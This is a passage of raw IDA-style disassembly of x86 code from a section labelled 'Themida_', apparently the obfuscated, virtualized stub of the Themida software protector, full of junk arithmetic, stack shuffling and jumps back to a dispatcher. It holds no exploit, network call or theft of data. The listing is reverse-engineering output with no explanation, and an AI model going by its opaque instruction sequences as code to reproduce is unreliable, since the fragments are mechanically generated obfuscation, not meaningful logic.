; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55628A:				; CODE XREF: sub_55314C+7D88j
		sub	edi, ebp
		jmp	loc_5564F7
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_556291:				; CODE XREF: sub_55CE17-B75Aj
		pop	esp
		jmp	loc_55A556
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_556297:				; CODE XREF: Themida_:00558A82j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_554FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554628


loc_5562A0:				; CODE XREF: sub_554628+5j
		mov	ecx, esp
		jmp	loc_5564ED
; END OF FUNCTION CHUNK	FOR sub_554628
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_5562A7:				; CODE XREF: sub_55AABB-8FCEj
		push	2AC9h
		mov	[esp+4+var_4], eax
		push	2
		jmp	loc_55BF9A
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_5562B9:				; CODE XREF: sub_55910B-54ABj
		add	al, 0C8h
		shr	al, 6
		jmp	loc_55AC3A
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_5562C3:				; CODE XREF: sub_55326E+9688j
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebx
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		push	212C2F7Ah
		pop	edx
		shr	edx, 6
		add	edx, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_551738
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_5562F6:				; CODE XREF: sub_559D1D+8j
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 60271A11h
		jmp	loc_557AF2
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------


loc_556306:				; CODE XREF: Themida_:00557513j
		sub	ebx, 635A197Bh
		pop	ebp
		add	ebx, eax
		sub	ebx, 4F300BF1h
		jmp	loc_556181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_55631A:				; CODE XREF: sub_554085+5C58j
		not	bh
		shr	bh, 4
		add	bh, 27h
		not	bh
		xor	bh, 9Bh
		push	eax
		mov	ah, bh
		mov	dl, ah
		jmp	loc_55BB84
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556331:				; CODE XREF: sub_55ABF6+11F5j
		add	bl, 0D6h
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_556340:				; CODE XREF: sub_554592+4BD0j
		shr	ecx, 7
		jmp	loc_55A26F
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_556348:				; CODE XREF: Themida_:00559996j
		sub	edx, 3C877977h
		sub	edx, ecx
		add	edx, 3C877977h
		sub	edx, 2A0821C2h
		sub	edx, 7E394498h
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, eax
		push	705Fh
		mov	[esp], esi
		push	ecx
		mov	ecx, 15276FFFh
		or	ecx, 527B55C1h
		xor	ecx, 669B3A93h
		mov	esi, ecx
		pop	ecx
		add	edx, esi
		pop	esi
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_556392:				; CODE XREF: sub_55910B-3E0Cj
		and	bh, 7Ch
		jmp	loc_5594F2
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_55639A:				; CODE XREF: sub_55A407+2C64j
		shl	edx, 8
		add	edx, offset nullsub_3
		sub	edx, 8AB52CE4h
		add	ebp, edx
		pop	edx
		add	ebp, 0BEE5BD0Fh
		xor	edx, ebp
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_55A48F
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5563BC:				; CODE XREF: sub_55CE17-1BEBj
		add	ebp, 4
		jmp	loc_5598A3
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_5563C7:				; CODE XREF: sub_55611A-2568j
		pop	ecx
		push	4AD9h
		mov	[esp+4+var_4], edx
		mov	edx, esp
		jmp	loc_559417
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5563D7:				; CODE XREF: sub_55ABF6-4037j
		and	edi, 292C5659h
		jmp	loc_554B65
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5563E2:				; CODE XREF: Themida_:005527D9j
		mov	[esp], ecx
		jmp	loc_555C4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5563EA:				; CODE XREF: sub_55A4DA-7E0Fj
		add	esp, 4
		xor	edi, 64A51B4Ch
		xor	edi, 301BF70h
		push	edi
		add	[esp+0Ch+var_C], 245138AEh
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	esi, 245138AEh
		pop	edi
		sub	eax, esi
		push	[esp+4+var_4]
		jmp	loc_5594F9
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55641E:				; CODE XREF: Themida_:00557E8Bj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55642A:				; CODE XREF: sub_55C814-45C9j
		add	ebx, 1A7CCB2Eh
		inc	ebx
		not	ebx
		push	ebp
		mov	ebp, 7B8D4867h
		shr	ebp, 3
		jmp	loc_556CDE
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_556441:				; CODE XREF: sub_55B62C-8CB4j
		pop	ecx
		jmp	loc_556A1E
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_556447:				; CODE XREF: Themida_:0055DA2Dj
		inc	ebp
		shr	ebp, 8
		and	ebp, 13811B16h
		inc	ebp
		shl	ebp, 7
		jmp	loc_5578C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55645A:				; CODE XREF: sub_55A0D6-2848j
		dec	edx
		shr	edx, 2
		push	edx
		neg	[esp+10h+var_10]
		pop	edx
		add	edx, 0D7CC73Dh
		xor	ecx, edx
		jmp	loc_55919E
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_556470:				; CODE XREF: sub_55B62C-586Dj
		inc	esi
		jmp	loc_5587F2
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556476:				; CODE XREF: sub_55ABF6-628Dj
		push	ecx
		mov	ecx, 6D951E92h
		shr	ecx, 7
		sub	ecx, 46AB2BD6h
		xchg	edx, ecx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		add	ecx, 2962704h
		sub	ecx, 0FEB0FA26h
		add	ebx, 218A7A73h
		add	ebx, ecx
		sub	ebx, 218A7A73h
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		add	ebx, edi
		jmp	loc_557A59
; ---------------------------------------------------------------------------


loc_5564B8:				; CODE XREF: sub_55ABF6+833j
		shl	esi, 2
		not	esi
		and	esi, 6A903773h
		sub	esi, 0FA03EC6Eh
		mov	eax, esi
		pop	esi
		add	esi, 120A2F31h
		sub	esi, eax
		sub	esi, 120A2F31h
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		shl	esi, 6
		xchg	edi, esi
		jmp	loc_555174
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554628


loc_5564ED:				; CODE XREF: sub_554628+1C7Aj
		push	545h
		jmp	loc_559D6E
; END OF FUNCTION CHUNK	FOR sub_554628
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_5564F7:				; CODE XREF: sub_55314C+3140j
		pop	ebp
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_5537C7
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_556509:				; CODE XREF: Themida_:005522EAj
		pop	esp
		jmp	loc_552A48
; ---------------------------------------------------------------------------


loc_55650F:				; CODE XREF: Themida_:00556EDCj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_556522:				; CODE XREF: Themida_:00554080j
		pop	ebp
		add	eax, 8A44E8Eh
		jmp	loc_55A394
; ---------------------------------------------------------------------------


loc_55652D:				; CODE XREF: Themida_:0055CAF8j
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_55ACED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556544:				; CODE XREF: sub_55ABF6+2CB4j
		or	eax, eax
		jnz	loc_558144
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ecx
		jmp	sub_551F80
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_556557:				; CODE XREF: Themida_:0055CE7Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55660A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556562:				; CODE XREF: sub_55ABF6+16BAj
		shl	edx, 1
		push	eax
		jmp	loc_55D24F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55656A:				; CODE XREF: sub_55163B+7FD7j
		add	edi, 0BD1D6D16h
		add	ecx, edi
		jmp	loc_553C80
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556577:				; CODE XREF: sub_55ABF6-5AD7j
		and	ecx, edx
		push	[esp-6+arg_0+2]
		jmp	loc_55B0A4
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_556581:				; CODE XREF: Themida_:0055331Dj
		not	edi
		xor	edi, 890C9AD0h
		jmp	loc_555670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_55658E:				; CODE XREF: sub_552850+1259j
		mov	esi, 54656110h
		add	[esp+4+arg_0], 783C4606h
		sub	[esp+4+arg_0], esi
		sub	[esp+4+arg_0], 783C4606h
		pop	esi
		sub	[esp+arg_0], ecx
		push	edx
		mov	edx, 54656110h
		add	[esp+4+arg_0], edx
		pop	edx
		push	dword ptr [esp+0]
		pop	ecx
		push	ebx
		jmp	loc_554E5C
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------


loc_5565C1:				; CODE XREF: Themida_:0055AB02j
		mov	ebp, 24BF3884h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3F6F2F22h
		xor	ebp, 2B4472EFh
		or	ebp, 6E5B4C33h
		shr	ebp, 8
		add	ebp, 0BBB20BAh
		and	ebp, 134D1CE4h
		jmp	loc_553911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B265


loc_5565F1:				; CODE XREF: sub_55B265-732Aj
		mov	edx, 0AEF15EAh
		jmp	loc_554995
; END OF FUNCTION CHUNK	FOR sub_55B265
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55660A:				; CODE XREF: Themida_:0055655Dj
		or	[esp], ax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_556614:				; CODE XREF: Themida_:00552F93j
		pop	edi
		jmp	loc_55421A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55661A:				; CODE XREF: sub_55314C+8B72j
		add	edi, 0FFFFFFFFh
		push	esi
		jmp	loc_554D36
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_556626:				; CODE XREF: sub_55611A-B9Ej
		add	bl, al
		add	bl, 0F2h
		jmp	loc_5533BF
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_556630:				; CODE XREF: sub_552791+8C3Fj
		push	edx
		mov	dh, 9
		or	dh, 50h
		push	eax
		mov	ah, 0C4h
		and	ah, 0DCh
		jmp	loc_55C8DD
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_556641:				; CODE XREF: sub_553571+4672j
		pop	esp
		xor	[esp-4+arg_0], al
		pushf
		jmp	loc_55607A
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------


loc_55664B:				; CODE XREF: Themida_:005551CAj
		push	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3723618Bh
		push	ebp
		mov	ebp, 0C8DC9E75h
		add	edx, ebp
		pop	ebp
		mov	edi, edx
		mov	edx, [esp]
		jmp	loc_553625
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55666D:				; CODE XREF: sub_55CE17-848Ej
		mov	esi, [esp+0]
		add	esp, 4
		pop	ebx
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		push	ebp
		pop	ebx
		pop	ebp
		not	ebp
		xchg	ebp, ebx
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_55814C
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55668F:				; CODE XREF: sub_55ABF6-3437j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55C6A5
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_5566A1:				; CODE XREF: sub_554592+5E59j
		add	eax, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5533E2
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5528B1


loc_5566AE:				; CODE XREF: sub_5528B1+19j
		mov	[esp-4+arg_0], edx
		push	eax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5528B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_5566B8:				; CODE XREF: sub_554E9D+3A4Ej
		push	esp
		pop	edx
		push	eax
		push	esi
		mov	esi, 24943DD0h
		mov	eax, 4F663B26h
		add	eax, esi
		jmp	loc_553246
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5566CD:				; CODE XREF: sub_559249-23E2j
		add	edx, 4
		xchg	edx, [esp+20h+var_20]
		pop	esp
		jmp	loc_559DDF
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_5566DC:				; CODE XREF: sub_552B28+B024j
		pop	ecx
		jmp	loc_55CE91
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557DAD


loc_5566E2:				; CODE XREF: sub_557DAD+2D87j
		add	ah, cl
		pop	ecx
		mov	ch, ah
		pop	eax
		push	dx
		mov	dl, ch
		dec	dl
		mov	ch, dl
		pop	dx
		dec	ch
		xor	ch, 71h
		shr	ch, 4
		xor	ch, 97h
		sub	ch, 0FAh
		add	bl, ch
		pop	ecx
		jmp	loc_55530D
; END OF FUNCTION CHUNK	FOR sub_557DAD
; ---------------------------------------------------------------------------


loc_556708:				; CODE XREF: Themida_:0055BE90j
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_556712:				; CODE XREF: sub_556D34-40BCj
		mov	esi, 5547749h
		jmp	loc_55D76E
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55671C:				; CODE XREF: sub_55A4DA-6C6Bj
		add	eax, ebx
		sub	eax, 0E3922B3h
		sub	esp, 4
		jmp	loc_5597A7
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55672E:				; CODE XREF: Themida_:00555A14j
		add	bl, 63h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55920B
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		jmp	loc_558F32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556760:				; CODE XREF: sub_55ABF6-130Dj
		inc	bl
		shr	bl, 7
		shl	bl, 3
		neg	bl
		sub	bl, 1
		xor	bl, 72h
		sub	cl, bl
		pop	ebx
		add	al, 0FEh
		jmp	loc_5573E7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55677A:				; CODE XREF: Themida_:005524EEj
		push	121Ah
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5571AC

; =============== S U B	R O U T	I N E =======================================



sub_55678F	proc near		; DATA XREF: Themida_:00551230o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551E2C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055321D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00553936 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055899C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0055D8E2 SIZE 00000006 BYTES

		mov	ax, [esp+0]
		push	ebp
		push	ebx
		jmp	loc_55899C
sub_55678F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55679A:				; CODE XREF: sub_55ABF6+3Fj
		add	esp, 4
		xchg	edi, [esp-6+arg_0+2]
		pop	esp
		btr	word ptr [esp-0Ah+arg_4+2], ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_5567AF:				; CODE XREF: sub_55C58B-6AFAj
		add	edx, ebx
		sub	edx, 14A0091Ch
		pop	ebx
		xchg	edx, [esp+0]
		jmp	loc_552950
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------


loc_5567C0:				; CODE XREF: Themida_:00556836j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ebp
		mov	ebp, 2
		jmp	loc_55486E
; ---------------------------------------------------------------------------


loc_5567DA:				; CODE XREF: Themida_:0055A8BCj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55C78E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5567F0:				; CODE XREF: sub_55ABF6+3118j
		mov	ebx, 52F21499h
		sub	ebx, 406B15B9h
		sub	ebx, ebp
		add	ebx, 406B15B9h
		pop	ebp
		jmp	loc_5549E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_556809:				; CODE XREF: sub_551F97+3289j
		sub	ax, dx
		jmp	loc_551775
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556811:				; CODE XREF: sub_55ABF6+301Ej
		pop	ebx
		and	ecx, 7AFB02E1h
		push	eax
		mov	eax, 79721DBAh
		and	eax, 14772AF0h
		shl	eax, 3
		jmp	loc_553200
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55682B:				; CODE XREF: Themida_:00555C50j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5567C0
; ---------------------------------------------------------------------------


loc_55683B:				; CODE XREF: Themida_:0055537Bj
		pop	ecx
		jmp	loc_554D85
; ---------------------------------------------------------------------------


loc_556841:				; CODE XREF: Themida_:0055C7A4j
		mov	esi, 4
		jmp	loc_554B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55684B:				; CODE XREF: sub_55C58B-824Dj
		push	0
		sub	byte ptr [esp+2+var_4+2], cl
		mov	cl, byte ptr [esp+2+var_4+2]
		jmp	loc_555A7C
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55685B:				; CODE XREF: sub_55ABF6-5441j
		push	esi
		jmp	loc_552CA6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_556861:				; CODE XREF: Themida_:0055BF1Ej
		sub	esp, 4
		jmp	loc_554E31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_55686C:				; CODE XREF: sub_55D9AA-1AB5j
		pop	esp
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ecx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_559663
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55688B:				; CODE XREF: sub_55ABF6-83B6j
		push	[esp-0Ah+arg_4+2]
		pop	edx
		jmp	loc_553647
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_556894:				; CODE XREF: sub_55CE17-3A68j
		mov	edx, esp
		push	ebx
		mov	ebx, 36D84379h
		shl	ebx, 2
		jmp	loc_55B4F3
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_5568A4:				; CODE XREF: sub_55D40D+3j
		pop	ecx
		push	eax
		jmp	loc_558995
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_5568AB:				; CODE XREF: sub_554085+20AEj
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_553EFD
; END OF FUNCTION CHUNK	FOR sub_554085

; =============== S U B	R O U T	I N E =======================================



sub_5568B8	proc near		; DATA XREF: Themida_:005512C0o
		pop	dword ptr [edi+40h]
		jmp	loc_5514E3
sub_5568B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_5568C0:				; CODE XREF: sub_55C58B-A8Ej
		mov	[esp+2+var_4+2], ebx
		mov	ebx, 5C372DD6h
		add	edx, 42483997h
		sub	edx, ebx
		jmp	loc_55406D
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_5568D5:				; CODE XREF: sub_554E9D+1j
		push	eax
		jmp	loc_5548CF
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_5568DB:				; CODE XREF: Themida_:00555B3Ej
		push	eax
		mov	eax, 4
		jmp	loc_5522EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_5568E6:				; CODE XREF: sub_55AABB-2BE8j
		add	[esp+4+var_4], 4
		pop	edi
		push	eax
		mov	eax, 2156302Dh
		jmp	loc_553013
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A1A7


loc_5568F6:				; CODE XREF: sub_55A1A7-4B4Aj
		pop	ecx
		shl	dh, 7
		inc	dh
		jmp	loc_557E24
; END OF FUNCTION CHUNK	FOR sub_55A1A7

; =============== S U B	R O U T	I N E =======================================



sub_556901	proc near		; CODE XREF: sub_55ABF6+18D0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0055196F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055346C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00554BB5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00554D69 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00557B17 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00557D72 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557FFA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00559ED6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055DD2B SIZE 00000015 BYTES

		push	ebx
		mov	ebx, 2CE799Fh
		jmp	loc_55346C
sub_556901	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55690C:				; CODE XREF: sub_55A4DA-3B07j
		add	eax, edx
		jmp	loc_55300C
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_556913:				; CODE XREF: sub_554085+7B07j
		push	1741h
		mov	[esp+2+var_4+2], eax
		mov	al, 0ACh
		push	cx
		mov	cl, 1
		sub	al, cl
		pop	cx
		jmp	loc_55592D
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55692A:				; CODE XREF: sub_55CE17-9D36j
		pop	ebx
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	12E4h
		jmp	loc_55497E
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_556940:				; CODE XREF: Themida_:0055CBC9j
		pop	ebp
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_554420
; ---------------------------------------------------------------------------


loc_55694D:				; CODE XREF: Themida_:00554CB3j
		sub	ebp, 2C7D72A1h
		jmp	loc_551BC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_556958:				; CODE XREF: sub_55CE17-B57j
		pop	eax
		add	esp, 4
		jmp	loc_5593AE
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553144


loc_556961:				; CODE XREF: sub_553144+7721j
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		push	4C70h
		mov	[esp+4+var_4], edx
		jmp	loc_55BE3F
; END OF FUNCTION CHUNK	FOR sub_553144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_556975:				; CODE XREF: sub_554E9D+4DEDj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_551FD4
		push	36BAh
		mov	[esp+8+var_8], ecx
		jmp	loc_554754
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55698C:				; CODE XREF: sub_55ABF6-5D31j
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_5569AE:				; CODE XREF: sub_551F97+986Aj
		mov	[esp+6+var_6], esi
		mov	si, 4250h
		not	si
